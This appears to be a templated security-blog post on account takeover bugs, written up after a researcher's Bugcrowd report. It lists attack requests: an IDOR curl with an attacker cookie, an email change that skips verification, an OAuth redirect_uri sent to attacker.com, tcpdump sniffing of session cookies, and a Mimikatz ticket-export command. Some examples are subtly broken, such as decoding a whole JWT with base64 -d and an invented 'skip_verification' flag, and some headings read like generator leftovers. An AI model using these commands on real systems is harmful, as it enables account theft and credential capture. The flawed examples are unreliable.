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Account Takeover (ATO) vulnerabilities remain a critical threat in web applications, often leading to unauthorized access and data breaches. Security researcher Manish Singh recently uncovered a Full Account Takeover vulnerability validated on Bugcrowd, emphasizing the importance of persistence, reconnaissance, and exploitation techniques.
You Should Know:
1. Testing Forgotten Endpoints
Attackers often target password reset and OTP verification endpoints. Test the following:
– `/forgot-password`
– `/resend-otp`
– `/verify-email`
Example Exploit (Python Request):
import requests
target_url = "https://example.com/forgot-password"
data = {"email": "[email protected]"}
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("Password reset link sent! Check for insecure token generation.")
2. IDOR in User Update Flows
Insecure Direct Object References (IDOR) allow attackers to manipulate user data. Check:
– `/update-profile`
– `/change-email`
Example Command (curl):
curl -X POST "https://example.com/update-profile" -H "Cookie: session=attacker_cookie" -d "user_id=victim_id&[email protected]"
3. Abusing Email/Phone Change with Weak Verification
Some apps don’t properly verify email/phone changes. Exploit:
- Change victim’s email without confirmation.
- Intercept verification tokens via MITM.
Example (Burp Suite Repeater):
POST /change-email HTTP/1.1
Host: example.com
Content-Type: application/json
{"new_email": "[email protected]", "skip_verification": true}
4. JWT/Session Token Misconfigurations
- Check for weak JWT algorithms (
none, HS256 with weak secrets). - Decode tokens at jwt.io.
Example (Decoding JWT):
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | base64 -d
5. OAuth Misconfigurations
- Test social login flows for open redirects.
- Exploit mislinked accounts via `redirect_uri` manipulation.
Example Exploit (Malicious Redirect):
https://oauth.example.com/auth?client_id=123&redirect_uri=https://attacker.com/callback
What Undercode Say:
ATO vulnerabilities are often overlooked due to weak security controls in authentication flows. Always test:
– Session fixation (PHPSESSID manipulation).
– CSRF in password reset (lack of token validation).
– Rate limiting bypass (brute-forcing OTPs).
Linux Command for Session Hijacking:
tcpdump -i eth0 -A 'port 80 and host example.com' | grep "Cookie: session="
Windows Command for Token Extraction (Mimikatz):
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Prediction:
As multi-factor authentication (MFA) adoption grows, attackers will shift to exploiting OAuth misconfigurations and biometric bypass techniques. Expect more ATOs via SMS phishing (Smishing) and JWT replay attacks.
Expected Output:
A structured penetration testing report with:
- Vulnerable endpoints.
- Exploit PoCs (Python/curl).
- Mitigation steps (enable MFA, enforce JWT `aud` claims).
Stay sharp—ATOs hide in plain sight! 🚀
IT/Security Reporter URL:
Reported By: M1s0 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
